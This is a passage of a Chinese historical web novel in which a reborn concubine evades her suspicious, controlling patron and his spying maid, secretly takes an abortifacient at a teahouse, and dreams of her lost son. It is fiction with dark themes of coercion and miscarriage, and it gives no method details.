谢凭接过茶杯子,打量一会以后,又凑近闻了闻。
“那药味呢?解释。”他声音凌厉、冰冷。
果然!
余姚抬眸,挤出眼泪,宛如春水映梨花的模样,“药味,是上次......过后没好全,涂的药。”
“药瓶呢?”
“这里。”
谢凭看了两眼,确实是自己为她调制的药瓶,但是......
不知是不是喝多了酒,影响到了他的嗅觉,他怎么觉得闻到的药味和自己调制的药味不太一样呢?
“现在问完了吗?谢青云,你为什么不能多给予我一些信任,你是刑部尚书,我知道多疑是你的职责。可你在家里也疑神疑鬼,不把我当人看,当初说的千好万好,我跟着你还有什么意思?”余姚的手在袖子底下狠狠拧了一把大腿,泪如珍珠滚落。
她用眼角偷瞥谢凭的态度,他果然已经软化,只见他直接掀开了床帐,走到她面前拥她入怀。
余姚听见他强有力的心脏震鸣声,咚咚咚咚。
就在她以为一切都已经结束的时候,余姚听见谢凭问出的动作跟随坚硬的胸膛震动。
“宗儿是谁?你为什么要去护国寺供奉你和他的长明灯?”
余姚听见了这句话,仿佛一头冷水从头顶兜头淋下,整颗心脏都被冻结一般。
“说话,我要听你的解释。”谢凭眯眼凝视她许久。
“你找人监视我?”余姚眼眸惊恐,手中发力推搡谢凭的胸膛。
可他的臂膀坚硬如铁,坚定地禁锢着、挤压着她,强势得不留丝毫缝隙。
“我真是宠得你如此不识分寸了,宗?分明是男人的名。你说说,我不在家的时候,你耐不住寂寞,跟哪个野男人勾搭上了?”谢凭一只宽大的手掌死死将她的脑袋摁进自己的胸膛。
余姚浑身战栗,她知道谢凭生气的后果,她不知道谢凭别的女人是否知道,他平时不喜欢虐待女人,可他若是生气了,惩治、征服女人最好的法子就是在床上,叫人三天都下不来床。
她听见他平静而残酷的声音,“我给你最后一次机会,解释。”
许久,余姚才冷着脸说:“我梦见了一个男鬼,他彻夜不眠纠缠我,我走到哪,跟到哪,我去护国寺点长明灯,是想借助神佛之力,送走他。用我的名字再点一盏,骗他我已死,叫他不能缠着我。”
余姚不知道谢凭信没信,她说的话里真假参半。
真的是:宗哥儿,她前世十月怀胎的骨肉,时常入她梦境,半梦半醒之际,他抱着她的手臂哭得肝肠寸断,乖乖叫她“娘”。
假的却是:苍天悲悯,不可言说的来世机密。她半人半鬼,前世魂、今生身,妄想改天换命。
谢凭沉默半晌,松开了手臂,将她抱到了床榻上,手掌摸到了她的泪痕,他愣了一瞬。
“夭夭,别怪我,我是真的太在乎你了。你知道,我不是故意的.....”
遇见谢凭那一年才十四,她是风月场里待价而沽的雏妓,而他青年得意、高官厚禄、扶摇直上。
他救她出风尘,给她富贵荣华,让她呼奴唤婢,再也用不着寒来暑往待在鸟笼子一样的刘家大院,习吹拉弹唱,免她堕落欢场,沦为卖笑娼妓。
同时,也要她床下装贤良大度,要她只能待在他画的圈地里,好食好水伺候,
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安安分分做他笼中的金丝雀鸟。
谢凭没有动她,他们躺在一张床榻上,两具散发热气的□□没有任任何阻碍地贴在一起,可两颗心脏却隔着天堑。
“姨娘体弱,往后屋子里没人伺候,不许留炭火、炉子。”谢凭穿戴好衣裳,临走时,对着屋子里两个侍奉的大丫鬟吩咐道。
春花和秋月彼此相视一眼,齐声应是。
余姚早就醒了过来,昨日她冒险忍烫将药包捞出来扔在通风的窗户托上,然后翻出了一大包干茉莉,塞了一把进汤水里。
若是谢凭再疑心一些,喝了那杯茶,他精通医道,未必品尝不出来茶汤里面含有药材成分。
好险。
余姚烤暖的时候,偷偷把药渣包交给春花处理,让埋在后院子里,那里花草多,直接变成花草的养料。
她想了想,这可不成,看来谢凭是怀疑她了。
而且自从早上谢凭离开以后,秋月开始若有似无的监视她。
就连她想出去的任何借口,都被她用“爷吩咐过了,姨娘最近不宜出门,若实在想出门,就烦请姨娘忍耐几日,十号爷休沐,自然会满足姨娘所求。”
余姚心中焦虑,脸上却不能表现出分毫。
距离十号,还有三日。
不成,绝对不成!
若是叫谢凭知道她有孕,这个孩子再想打掉可就不容易了。
余姚烦闷,甚至连中午用饭都没什么胃口,她变得愈发暴躁,想出去的心思像鬼魂一样,缠绕着她。
春花见她这样,便劝道:“姨娘静下心想想,其实芍药姊那天说的也没错,若是你生下小少爷,将来姨娘的富贵荣华、余生安稳,就多一重保障了。”
余姚怔怔道:“春花,只怕这孩子生出来,养不大,成了别人眼中钉、肉中刺。”
主仆两个交谈之间,忽然门外有人前来敲门,秋月禀道:“姨娘,侯府大夫人身边的翠微姐姐来了,说是大夫人有请,大夫人邀姨娘过风花雪月茶楼一叙。”
余姚登时从床上坐了起来,她与春花对视一眼,这真是打着瞌睡,就有人送上来枕头了!
府外有仆人套了马车,照着余姚的意思,是只打算带春花一起去,没成想这秋月拦住她去路,说:“大爷说了,姨娘不得已外出,奴才必须随同,若是姨娘出了意外,奴才有死而已。”
这是不带都不成了,好个疑神疑鬼的谢凭!
余姚只能带上二婢,前往风花雪月楼。
风花雪月楼是云京城里出名的茶楼,周边种满桃花,三月春盛时,荼蘼十里,甚是蔚然壮观。
不过此时,风雪漫天,外面的枯树桃花枝,堆满了雪块,时不时寒风呼啸,‘啪嗒’一声,雪泥滑落堆积。
余姚以前就见过大薛氏,前世在她生下了宗哥儿以后,她们见的次数便多了起来。
大薛氏和小薛氏据说同父异母,大薛氏比小薛氏大了整整十岁,是河东薛家的嫡长孙女。
大薛氏今年才二十岁,据说她嫁给谢凭时,才十四,至今六载。
茶楼包间里,婢女们将珠帘拂开,露出了大薛氏的真容,大薛氏不愧是谢家宗妇出身,衣着首饰,莫不出自名家之手,低调中难掩贵重。
只是衣裳宽大,衬得久病的大薛氏愈发清瘦,脸生得很好看,很大气,依稀可辨昔日光彩。现下她眼下泛青,难掩疲惫。
余姚一进门,便听见她唤道:“你便是余氏?”
5. 005
余姚抬眼,不曾收敛打量大薛氏的目光。
“大胆,你一个小小瘦马出身的外室,竟敢直视世子夫人!还不跪下请罪?”出声斥责之人是大薛氏身边最得脸的大丫鬟翠微。
余姚蹙眉。
大薛氏骤然咳嗽两声,喘气道:“翠微,不许无礼,她是爷身边伺候的人,我身子不好,将来替爷繁衍子嗣的任务,就靠各位妹妹们了。”
余姚听出来她话里的机锋,她是由风月场里最老练的老手培训、是女人堆里厮杀出来的魁首,自然听得懂,这是在点她。
不要以为自己是什么人物,谢凭身边的红颜知己跟竹子开花一样,云京城一条街一个,数都数不过来。
繁衍子嗣则是她们这些连妾室都算不上的玩意儿的任务。
余姚知道,大薛氏不是真的假大方,她是真的不在乎。
也是,她是侯府的嫡妻正室,所以没将她们放在眼里。她们再得宠,也没办法与她相提并论。
“大夫人说哪里话,我观夫人面色红润,身体康健,世子爷也青春正盛,相信不日会有好信。”余姚轻笑着,既不跪在地上低眉臊脸,也不曾摆出得志猖狂的做派。
大薛氏一愣,她仔细看向余姚,不知道她说的话是真是假。她端起面前一杯白玉镶金花纹的茶盏子,露出一截修长、莹润的手臂。
“余氏,你生得很好看。夫君一月休沐三天,一个月的休沐时间,有一半的日子留在你那里,足见他颇为迷恋你。你也很该把握机会,替夫君生个一儿半女来,将来都记在我名下,这样他们都是嫡出,我都能做到视若己出。”
余姚听完了大薛氏的话,原来又是这一套说辞,大薛氏不愧是谢凭的结发妻子,他们高高在上惯了的,习惯不把人当人看。
不把她当人,也不把她的孩子当人。
大薛氏见余姚不应,心中难免生出鄙夷,似这些以色侍人的女子果然没规矩。
场面一度变得十分沉默,大薛氏原本就是听谢凭身边伺候的小厮禀报,露了几个谢凭最宠爱的外室来。
大薛氏虽娘家煊赫富贵,夫家亦是富贵登极,她自幼身体不好,嫁作谢家妇六载,至今没能给夫君生下一男半女,近年来她为了生育喝了不少偏方汤药,伤透了身子。
她身子常抱恙,近年来她与谢凭夫妻房事越发少,到现在停了许久。
大薛氏想了想,私心觉得这女子甚是贪婪,不见兔子不撒鹰。
她“嗒”地一声将茶盖阖上,唇角微勾:“妹妹莫不是以为我没有容人之量?我出身河东薛家,家大业大,家族里还从来没有苛待妾室的传统。”
“妹妹不必害怕,妹妹若是好福气生下了青云的孩子,不论青云怎样说,我一定保证妹妹顺利进入侯府,抬良妾,住独院。日日与青云长相厮守,你我姐妹相称。”
余姚不应,表情也更不曾流露出什么笑意,又冷又淡。
大薛氏打量了一番底下人神色,感觉到她态度上的冷淡,啧,竟不承情。
莫非是被男人的宠爱迷了眼睛?她的野心竟然不满足于一个妾室?
小小瘦马,人不大,野心倒不小!
大薛氏慢慢收敛了眼眸中伪装出来的热络,既然她不承情,谢凭身边多的是新人,又不是非她不可。
“余氏,好自为之。”说完,大薛氏的婢子就上前来冷冷淡淡地‘请’走了余姚和二婢。
余姚心知大薛氏说的是实情,上一世她至死将宗哥儿视若己出,只是死人哪里管得了人间事?
大薛氏死后,谢凭继室小薛氏身体康健,钝刀子割肉地害人。
她绝不能继续听信她们的鬼话!
余姚心中烦闷,忽听得茶楼一楼台下有一个巨大戏台装扮,华服盛装的粉墨青衣丹唇轻启,唱道:
“这都是神话凭空造,自把珠玉夸富豪,麟儿哪有神送到?积德才生玉树苗,小小囊儿何足道?救她饥渴胜琼瑶……”【1】
唱词优美,曲调缠绵,余姚与春花秋月二婢一齐往台下看去。
一曲暂停,中场歇息。
秋月眼见余姚面露痴色,心中不喜,只觉得台下装扮妖艳的女子咿咿呀呀唱的人头晕眼胀。
姨娘竟然直接立在楼梯间看了起来,半点不顾及旁边道上路过的男人们意味深长打量的目光。
秋月面色一沉,上前劝道:“姨娘,该回了,这大夫人传唤,不来不成。现在人也见了,话也说了,咱们回吧,要是叫大爷知晓姨娘拿着鸡毛当令箭,私自在外玩耍,少不得要被爷责罚。奴才们皮糙肉厚不要紧,姨娘好歹算半个主子,下人面前跌股【2】,那有损的是姨娘自己的脸面。”
余姚自然听懂秋月话中意思,这是怕她不从,言辞里还要搬出谢凭来压她。
她似笑非笑说:“我私自在外玩耍的事情,爷怎会知道,大夫人忙着呢,哪里会说?爷也是大忙人一个,整日里为国家、为朝堂效力,哪里有空管我这些鸡零狗碎的事?”
“依我看来,若不是爷派暗卫监督我……不过,我一个小小外室,暗卫闲得慌监督我?。所以最大的可能就是,我的身边出了奸细!”
熟料‘奸细’二字一出,春花便与余姚对视一眼,二人心有灵犀一起瞧向了秋月。
秋月登时脸涨得通红,抢着道:“我们对姨娘从来是忠心耿耿,怎会做对不住姨娘的事!”
“我听说,世间事十之八九,都是不如意事,可与人说不足二三。”余姚说了一句没理头的话,春花秋月二婢面面相觑,垂头不敢再说。
余姚便说:“难得出来一趟,包个好位置,咱们一起看会子戏再回吧。”
说罢,春花一点就透,她应了一声,即刻就下去找掌柜订座位去了。
“唉……”秋月反应过来,要去拦,却被余姚挡着,她又不能真的推搡余姚,便只能看着春花那贱蹄子讲好了价,乐呵呵从楼梯口上来。
“贵客三位,这边请……”春花身后跟着一个身穿短打、目露精光的年轻小二,他眼珠子滴溜溜一转,就知道谁是话事人,连忙扭到了余姚面前带路。
一行人各怀心思去了走廊尽头的房间落里,推开了面前观戏曲用的窗户,刚坐下,余姚就给一旁的春花一个眼神。
春花立即会意,轻轻点头。
余姚伸手用茶盖剔剔瓷杯里面的浮沫,侧头道:“难得出来一趟!我还真有些想念百味斋的珍珠海米煨鹌鹑,只是戏已点好,难走动,这可怎么是好?”
秋月难掩不耐烦地看了一眼余姚,这个扬州瘦马出身的姨娘又要整什么幺蛾子?
果不其然,一旁春花笑吟吟道:“姨娘想吃这还不简单,秋月姐姐适才还说对姨娘忠心不二呢,想来为姨娘驱使一回,不是难事吧?”
秋月微微蹙眉,唇部紧紧抿成一条横线,瞪了一眼春花,又为难地看向了余姚:“姨娘,非是奴婢不愿去,只是爷有吩咐……”
主仆两人一听,好呀,这是故技重施,当面拒绝不了,只好搬出谢凭来压人。
余姚将手中茶盖重重搁在杯盏上,发出磕碰的声音,尔后轻轻抬眼望去,“可见在你心中,世子才是主子,我只是个狐假虎威的狐狸精。”
这话说得重,秋月闻声迅速跪倒在地上,“姨娘说这话真是折煞奴才了,奴才万万不敢这么想。”
“说得天花乱坠,不如干得实实在在。”春花冷嗤一声。
“你......”秋月的脸色刹那阴郁苍白。
余姚似笑非笑地看向秋月,“既然如此,那就劳烦秋月姑娘替我跑上这一遭了。”
“是,愿为姨娘驱使。”秋月忍住内心的不忿,起身下楼远去。
余姚迅速站起身子,轻手轻脚打开了窗户缝隙,往外面瞧了两眼,确认秋月她们真的离开了。
余姚从自己的宽袖里翻找了一会,然后把药递给春花。
“春花
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,这是最后一包药了,我们只许成功......”余姚说。
春花道:“姨娘,秋月他们套车去的,百味楼离这里很近,秋月很快就会赶回。”
余姚想了想,她狠狠收紧了攥紧拳头,心一下子跌落谷底。
主仆两个沉默相对了许久。
春花小心翼翼说:“姨娘,要不咱不打掉他了,他在您肚子里,小手小脚都开始长了......”
“别说了!”余姚猛地一捶门户,厉声道。
余姚说:“春花,不要再劝我留下他了,我告诉你,我不愿意永远待在谢凭的金笼子里,你若是仍把我当姐妹看,就助我成事,若不当,那咱们俩就此分手,大路朝天,咱们各走半边。”
春花噤声。
余姚忍不住两只手交叠,一只手忍不住揉搓左手中指头上的一枚白玉戒子,心中越发烦闷。
忽然想到了什么,余姚将手按在春花的手上,惊喜道“我有一个法子,你附耳过来。”
主仆两人咬了半天耳朵,春花听完有些惊疑问道:“姨娘,你怎能肯定爷一定让你出来?他......”
余姚但笑不语,凭她上一世是留在谢凭身边最久的女人,她与他同床共枕十年光阴怎会对他一无所知?
谢凭,位高权重的同时,疑心病亦重。
春花照着余姚的嘱托,藏着那包药,找了茶楼的主厨,道是家中主人闻名风花雪月茶楼茶点出门,因此明日巳时初刻前订做一桌席面。
另外夫人有惊厥之症,,烦请留出一个僻静点的房间,留给夫人休息,夫人喜欢安静,尤其喜欢喝茶,因此需要准备详细的茶具。
余姚在房间靠窗的位置站着,焦虑地等待着。
下一瞬,春花推门而入,谨慎看了一眼是四周的环境,而后对着余姚点点头,走到她跟前轻声道:“已经安排好了。”
“那就好,多亏了你。”余姚道。
又过了好一会儿,秋月推门进来,她身后个跟着几个穿着一样服饰的伙计,他们手中都提着一只黄藤丝食盒,缓缓上前,平静地将面前的饭菜都布好。
余姚心中有事,食欲不振,因此没能吃上两口。
秋月负责布菜,她心中恼怒余姚适才那番为难,因此夹了一大块鱼肉放在余姚碗中。
余姚夹起来尝,那块肉还没下肚,就已经感觉到胃部有东西在翻滚蒸腾。
“呕——”
“姨娘这是怎么了?”春花坐在一旁另一方小桌子上用饭,是刚才余姚点了几道她爱吃的菜放了过去。
她听见了一道熟悉的干呕声,连忙放下手中的筷子,快步走向余姚。
春花站在一边为余姚抚背,见她根干呕不止吗,忽然想起一件事,她抬眼看去,瞥见了不远处眼眸中都是惊疑的秋月。
她忽然疾声呵斥道:“秋月你个小贱蹄子,难道不知姨娘不吃芫菜吗?害得姨娘干呕不止,你可知罪?”
秋月唇线紧抿,心中有心发作,却到底碍着余姚的身份,她垂着头福身道:“姨娘恕罪,我现下记得了,日后绝不再犯。”
余姚渐渐缓和过来,感觉大脑都是空的,她迅速反应过来。
“秋月,算了。日后你还是不要负责布菜了。哎呀,不是说你不好,只是到底我和春花从小一起长大,她知道我的口味。”余姚顺势道。
“是。”秋月应声。
秋月状似不经意瞪了一眼春花,春花则回以得意一笑。
这便是大丫鬟权力的争夺,因她们同在后宅伺候同一位主子。
春花与余姚从小长大,情分不同,秋月自知这是无法弥补的一点,只好从别的地方揽权,但穿衣吃饭,总共这么几处,余姚并不信任她。
现下她被下脸子,见余姚落筷,秋月便上前冷声说:“姨娘戏也看了,饭也吃了,这便回去吧。”
看来无论如何赖不掉了,余姚只好动身,几人一同回去。
6. 006
余姚回去后,她为避免被那些有经验的仆妇看出来有身子,因此一直关在房间里没出来。
晚饭也是等几个丫鬟布置好菜,纷纷退出后,她才从床上下来。
余姚简单用了点,吃不下。
这段过程中,秋月一直在旁边侍立,眼见春花给余姚布菜。
余姚停了筷以后,两个婢子过来将桌上饭菜收拾完,坐到侧间用饭,若还有她们不爱吃,或者吃不完的就继续往下分。
为了等谢凭,余姚躺在床上一直睁眼熬着。
皇天不负苦心人,总算天擦黑时分,谢凭便推门而入。
余姚坐在房中圆桌处,身上穿着宽松的白色毛领浅白色开襟袍,里面是一件深红色内里,腰间系着豆绿色汗巾,她刚洗完澡,头发烘干了,披散着垂落像一条玄色银河。
谢凭推开门,见到的便是这样一副场景,他原本听见秋月回禀,心中有怒火,却见她如此俏生生、清泠泠的模样,心中微暖,哪里还有火气?
只是他到底是前来问罪的,若不叫她吃些教训,恐怕下次上房揭瓦了。
如此后院失火,若叫同僚知晓,岂非惹人耻笑?
女子自古以夫为天,自然是丈夫说什么,妻子便做什么。
他作为她的夫主,自然有权利和义务纠正她的不良习惯,枕边教妻,堂前训子。
岂知他推门而入,余姚见他来了,竟也不起身相迎,一张粉白细腻的脸上半点笑模样也没有。
谢凭原本压抑的火气一下子又腾地起来了,他走进去,沉声问:“余氏,你学的什么规矩,夫主来了,你拉的什么脸?成什么规矩体统!”
谁知对面半点不怵,半扬起脖子道:“你就知道规矩体统!半点不在意我,我今日见了夫人你可知晓?”
谢凭见她还顶嘴,原本怒火中烧,却匆匆瞥见她一双盈盈美目水光潋滟,心中一紧,软了几分道:“我自然知晓,夫人出身河东薛氏,是大家妇,最是贤惠懂礼、体贴夫主。你在她那里能受什么挤兑?她有容人的雅量,必然不妒……”
“她是大家妇,我是狐狸精!可见你寻常同我说,待我情深义重,心肝、娇娇儿叫我,都是床上哄人的话,下了床立马翻脸不认人了。”谢凭话都没说完,就被余姚给截胡了。
谢凭从小家规极重,身边不论奴仆还是亲人、师长,还真没有一个敢这样顶撞他的人!
“你好大胆子!谁教你这样侍奉夫主?”谢凭走上前,伸出一只手掌,铁钳一样掐住余姚的半张脸。
余姚挣脱几次都没能成功,她的下颔渐有些发酸,眼眸难以抑制水光淋淋。
谢凭见状,眼眸闪过一丝挣扎,最终尽数化为冷硬。
“说,你错了,日后再也不敢了,求我饶恕。”
余姚抿着嘴不言语,谢凭手下使劲,修长的指节掐得泛白,直到他瞥见她雪白的面孔上发白,他才用力松开手。
“余氏,你果然好骨气,可我告诉你,你已经是我的人,再也不是当初刘家大宅里待价而沽的妓子,你可懂?”
侧间里,秋月狠狠摁住春花,轻声道:“你放肆,大爷管教姨娘,有你什么事?你个小贱人敢往前凑?”
尽管早就做了准备,余姚心中仍旧一悲。
她闭眼冷笑,任由温热流淌经过面庞,“是,我记得,我怎会忘?我只是你的外室,连妾都算不上。你或者你的夫人,打杀了我,堪比打杀一条猫狗!”
谢凭气急,反而冷静下来,他知道余姚素日听话、乖巧,断然不会这样放肆。
想明白这些,他压抑怒火,问道:“夭夭,你平素不是这样的,我可以不计较你见完夫人,仍旧在茶楼逗留之事。”
果然,谢凭今夜来就是来问罪的,秋月果然人前口蜜表忠心,背地腹剑告密,绝不能信。
“你果然派人监督我!在你心里,你果然从没将我当人看过!”余姚吵得头疼,原是为了唬住谢凭,但吵着心里也带上了几分情绪,直至那些情绪完全爆发。
谢凭身边的女人如过江之鲫,还从来没有一个女人敢指着他的脸,对他又呵又骂,一点温柔可意都没有。
他忍住额头乱跳的青筋,上前将余姚拥入怀中:“好了,我什么时候没把你当人看?你自己说,我对你不好吗?是饮食上克扣你了,还是衣饰上苛待你了?你这个没良心的东西!”
余姚推搡,“你自己应邀出去,同人吃酒作乐,席间看戏把妓,却不许我外出,我整日里闷在这里,有什么意思?”
原来是关闷了,谢凭心中一松,正色道:“我是同师长、友人、同僚们外出聚会,席间虽有唱曲儿的小娘,我却从未侧目勾搭。”
骗人。
余姚心中冷哼。
谢凭分明看不上人家游玩于权贵之间,嫌弃人家身子不干净,偏说自己坐怀不乱。
“你总是只许州官放火,不许百姓点灯。可见你心中没我!”余姚撇过脸,半张粉莹莹的脸上泪珠滚落,真如仕女画中天界仙子,渺若轻烟。
谢凭见状,什么火气都消散不见了,只圈她在怀,哄了许久,最终只能应她所言,允了她明日外出。
两人适才吵得翻天覆地,谁都不肯让谁,现下竟然又和好如初了,秋月恨得一口银牙咬碎。
夜里,谢凭在这陪余姚睡了会儿,等余姚睡着,谢凭敏捷抬头向外看去,窗外渐明,他轻声揭开被子,下了床。
谢凭走的时候,余姚压根没睡着,她双手攥着被子,手心一直在出汗,被角都被捏成为一团污糟。
她知道谢凭只是想要了,才会来她这。
揪心一夜,终究还是叫她如愿了。
直到身边没有了谢凭的身影,余姚才真正入眠,不知睡了多久,余姚被春花叫醒,经过一番洗漱、装扮,她兴致并不高,简单用完早饭,就预备出门事宜。
许是谢凭临走时,已经吩咐过了秋月,在余姚用饭时,说要出门,秋月虽然面色比较沉郁,但态度并不像昨日里那样强硬。
余姚有心将秋月留在家中,她是谢凭放在她身边的耳报神,她又不像是那些小厮能轻易混淆,或是打发走。
只是她到底没能如愿,无论她用何种借口,这秋月始终坚持要跟她出去,否则谢凭回来了,定要治她一个失职之罪。
碍于谢凭的颜面,余姚只好带着春花和秋月一起前往作昨日的风花雪月楼。
“贵客三位,您里边请——”身着青衣,右肩上挂着一条干净的白巾子的店伙计笑盈盈迎上来。
余姚下了马车,因她戴着一只白色轻纱帷幕帽子,旁人只以为是谁家小姐出来吃茶看戏。
因她帷幕遮脸,身段窈窕翩翩,正引得许多人浮想联翩,不由纷纷侧目而视。
二婢见到周围人贪婪的目光,都加快脚步追上余姚。
秋月咬牙,翻了个白眼望着前面衣裙蹁跹的女子,招蜂引蝶的小贱蹄子。
余姚上了二楼,看了会儿戏,她对秋月道:“我近段日子还真有些想念松雪斋的菜品,反正来都来了,不如秋月你再替我跑一趟吧。也用不着担心,端正反正时间宽裕的紧。”
秋月欲言又止,迟疑道:“姨娘,松雪斋的菜若要吃,需提前预定……现在去,更怕……”
恐
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怕要排很长的队。
余姚在心中补全了这句话。
“那有什么要紧,咱们是临时起意的,虽说他们松雪斋等的时间长,但为了那一口,有什么不值得的。秋月别急,你且去了慢慢等,我不催你,也不怪你。好秋月,你替我跑这一趟吧……”
余姚略带亲昵地道,秋月眼瞳中有难以掩饰的挣扎,最终化成了妥协:“是。”
秋月走后,余姚与春花并未着急,先是藏在临街的窗户处往外瞧,确定秋月离开以后,余姚才对春花使了眼色。
二人一齐从这房间的暗门转到了隔壁的房间,这里占地位置小,也十分隐蔽。
内里只有一扇小窗,纸面昏昏惨惨。
春花出去一趟,又提了个食盒回来,糊弄了外面守门的奴婢。
她进来后,又悄默默地进了内堂里,把门阖上,余姚立即凑上来。
春花从盒子里取出来一碟果子糕,再将手掌按在空荡荡的盒层上稍稍用力一按,那木层随即松动,有从边上的弹出来的木层取了出来。
终于从食盒内端出来一大碗浓郁乌黑的药汁子,沸水遇冷,上方白雾喷涌,滔滔不绝。
余姚要去端药,眼中尽是决绝。
春花挡在她身前,道:“姨娘,太烫了,您再想想。”
余姚道:“这几夜,等了太久,也想得太多。事到临头不犹豫,下棋落子我不悔。”
春花说:“姨娘想清楚,不是所有堕胎药都能有效,姨娘定然听过芍药姊说过,有些女子不愿生孩子,吃了堕胎药,不仅没能堕下胎儿,连自身也保不住。”
沉默几息,余姚道:“我今日堕胎,杀害亲生骨肉,已是罪孽深重,若我为他死了,我赔他性命,因果轮回,没什么好说的。只是我若死,你立即拿着钱逃命去,不要回头顾我。”
春花惨笑道:“小姐,我从小就伺候你,离了你,我能去哪?”
余姚沉默,最后吐出一句:“是我对不住你,也对不住他……”
她的手轻轻放在腹上。
说完,余姚端起那碗盛满乌黑药汁子的海碗,默默喝了起来。
寒风在外呼啸,屋檐上的积雪“啪嗒”一声滑落在地,发出闷响。
“怎么还不见效?”余姚问。
春花扶着余姚,她的视线落到了桌面不远处已经见底的海碗上。
“也许见效慢。”春花宽慰道。
余姚心中焦急,莫名想起前世本年十月她生产那日,因是头胎,产婆见她身量纤细玲珑,便提前对她说:“夫人骨架小,又是头胎,恐怕此次生产艰难,生个两三日,恐怕难免。”
余姚宫口渐开,腹腔收缩,疼得头晕眼花,她一想到要疼两三日,只恨不得立刻晕死过去。
只是坐镇的太医命人熬了参汤,见她承受不住,便叫春花给她灌上一口。
俗话说“有参能吊命,无参命难存。”
那孩子却并不像预想中那样折腾她,也没疼多久,半天都没用上,他就平平安安生了出来。
连她一口奶也没喝,就被大薛氏派来的奶娘与奴婢抱走。
余姚只能对着谢凭哭闹,他虽颇有动容,但仍旧冷硬道:“规矩就是规矩,你牵挂孩子我知道,但你替他想想,世家大族颇为看重嫡庶之分,孩子养在主母身边,总好过将来旁人说他‘养于娼妓之手’。”
此话一出,余姚再不曾哭闹,她失落躺在床上,整宿望着头顶的床帐,想明白了一件事。
原来世人眼中,她只是一个娼妓,她的十月怀胎的骨肉若养在她身边,将来也是一个令人耻笑的‘娼妓之子’。
7. 007
余姚感觉腹中有痛感,便脱了外衣蹲在一只黄铜圆盆上,有温热从下身流出,淅淅沥沥、断断续续。
“姨娘,喝些水吧。”春花扶着余姚一只手,见她额头不断有冷汗冒出,唇色煞白,她心中抽痛,问道。
余姚说不出话,想出声,发现唇一直在颤抖。
她只能摇摇头,腹内的疼痛由绞痛感变为利刃在乱刺,痛得她眼冒金星,几近昏迷。
她不能就这样死了,流掉孩子虽然是她的意思,但上苍令她重生,是要她弥补上一世的缺憾,她怎能就这样离开人世?
不知究竟过了多久,余姚只记得到,下面的血越流越慢,血块越来越大,砸进下面有水声。
余姚满脸都是水,分不清汗水还是泪水。
她最后被春花收整衣物,扶到了床上,仰面望着上方窄小的空间,窗边有一只蜘蛛慢慢爬行,八只细长毛绒的脚凌空吞丝吐线。
余姚觉得眼皮渐渐变得沉重,她瞥见春花在收拾那堆残血。
合眼前,春花将那盆血块端到她面前,叹息一声:“姨娘见见他最后一面吧。”
余姚闭眼,“春花,你帮我把他装进骨翁里,来日我亲手埋他。”
春花忍悲道:“是,姨娘。”
余姚坚持不住,昏睡了过去。
她的眼前一黑,又变白。
视觉最先恢复,她看见一个青衣童子模样的小男孩来到她屋子里,他的眉眼很精致。
见四周无人,小男孩上前一步拉住她的袖子,“娘。”
余姚浑身一颤,她不敢置信看着脚边的小孩,鼻头一酸。
他真白啊,眼眸真亮,额头还有启蒙读书特意点的朱砂明目,真像年画里观音座下的小童子。
这是她十月怀胎生下来的孩子……
她真想抱抱他。
可……
余姚慌忙退后一步,连忙擦泪说:“少爷叫错了,该叫姨娘才是。”
那小童子固执道:“他们骗人,爹爹说你才是我生母,是你生的我,你才是我娘!娘,我知道你怕夫人,你别怕,我是你生的孩子,我只向着你一个人。”
眼前被黑影弥漫,又变亮,身材抽条的小少年长高,再不是当初没有桌腿高的小豆丁。
小少年从雨幕中跑来,身上青绿色的襕杉上被雨淋透,他捧着怀中的东西,差点被雨淋成落汤鸡。
他人前唤她“姨娘”,人后唤她“娘”。
小少年白皙的脸庞透红,纤长如蝶翅的眼睫上沾染水珠,眼眸透亮澄澈。他献宝一般从怀中翻出一包用帕子包住的东西。
一打开来,发现是一堆鲜黄色的粉渣子,还有一股花香袭来。
是桂花糕。
“娘,书院先生说,我学问做得好,他奖励我一碟桂花糕,我尝了一块,香甜可口,只是,它被我压成碎渣了……”
小少年面露羞窘,一手挠头。
见她伸手捏起一块放进嘴里,然后笑盈盈看向他,说:“真好吃,宗哥儿。”
小少年也笑,“娘喜欢就好,儿子定当勤勉读书,考取功名,来日儿若考取功名,定为娘讨来诰命,叫娘做一个富贵享乐的老封君。”
余姚想说,娘等着。
可她头脑中传来一阵眩晕,令人站立不稳。
等她能看见时,她跪倒在雪地里,月亮惨白,她的孩儿躺在草席上,单薄的裹尸布被掀开一角,原本白里透红的皮肤变得青黑恐怖,他的七窍流出黑血,雪花棉絮一样盖在他的头脸上,他的尸身变得僵硬。
她哭得肝肠寸断。
余姚陷入昏睡,她再睁眼,发现有一个身着青衣的小少年跪倒在她的床榻旁,他握住她的手,侧脸枕在她的腹部,“娘,宗儿想跟娘永远在一起。”
余姚任由泪水流入鬓发,她抬手抚摸那小少年的发顶,“娘不回阳世了,咱们娘俩永远在一起。”
话音刚落,那小少年抬起头,安抚她说:“娘,宗儿不想跟娘在一起了,娘回去吧,好好活着,不要担心宗儿。”
说着,他抽出了自己的手掌,“娘,您保重自己啊,娘,我走啦。”
余姚腹内痛若刀绞,白光中,她似乎看见自己的肚子与小少年之间一根带子应声断裂。
母体与婴儿之间最原始的连接断裂。
此后,桥归桥,路归路。
秋月前往松雪斋的途中,她望着窗外的风景,心中愤懑,她到了松雪斋果然等了许久。
等秋月拿到余姚吩咐的菜时,已经是傍晚时分,她连忙叫小厮紧赶慢赶驱使马车回程。
她身后跟着提着食盒的一行人,几人进退有序,颇引人注目。
秋月为首走在前面,一行人来到余姚预定的房间门前,她站定后大声问:“姨娘可在么?”
里面寂静无声,秋月心中起疑,连忙拉开房门,却见到一张她甚是厌恶的脸。
秋月皱眉问:“你怎么在这?”
春花轻嗤一声:“姨娘信任我,我是姨娘跟前得力的手足,我怎不能在这?”
秋月又问:“姨娘在何处?”
春花道:“我是奴才,你倒成了主子了,姨娘又不是犯人,我替姨娘问问你,你奉了谁的命令,盯犯人一样盯着姨娘!”
秋月可不信这一套说辞,她环视了一遍四周,没能见余姚的身影,便扬起声音唤道:“姨娘,姨娘!”
见没人答话,秋月脸色一沉,心中疑虑不散,只是不知这余姨娘究竟在弄什么鬼?
“你们把东西放下,随我一起进到里面去找余姨娘!”秋月一声令下,她身后那些行动有素的丫鬟们便齐齐将手中食盒放下,正要随着秋月强闯进来。
“哎,你们眼里边还有没有主子?竟这样作乱,秋月小贱蹄子,你可真是个好的,不知道大爷知不知道你内里是这样一个欺主的小贱人!”春花心知余姚做下事情来,若是事发,她作为头一个余姚身边贴身奴婢就是头一个要倒霉的,因而她厉声呵斥道。
